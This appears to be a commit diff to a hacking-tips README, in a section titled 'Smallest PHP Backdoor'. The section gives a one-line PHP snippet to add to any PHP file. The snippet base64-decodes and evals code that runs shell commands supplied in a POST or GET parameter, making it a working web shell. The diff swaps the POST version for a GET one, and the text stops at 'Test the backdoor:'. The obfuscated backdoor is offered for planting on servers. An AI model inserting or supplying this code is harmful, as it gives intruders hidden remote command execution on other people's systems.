Update README.md

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skyper
2023-05-18 21:01:24 +01:00
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@@ -1081,11 +1081,11 @@ Other methods:
<a id="carriage-return-backdoor"></a>
**6.iv. Smallest PHP Backdoor**
Add this line to the beginning of any PHP file:
```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7ZWNobyBgJF9QT1NUWzBdYDtleGl0O30");eval($i);?>
<?php $i=base64_decode("aWYoaXNzZXQoJF9HRVRbMF0pKXtlY2hvIGAkX0dFVFswXWA7ZXhpdDt9");eval($i);?>
```
(Thanks @dono for making this 3 bytes smaller than the smallest)
Test the backdoor:
```sh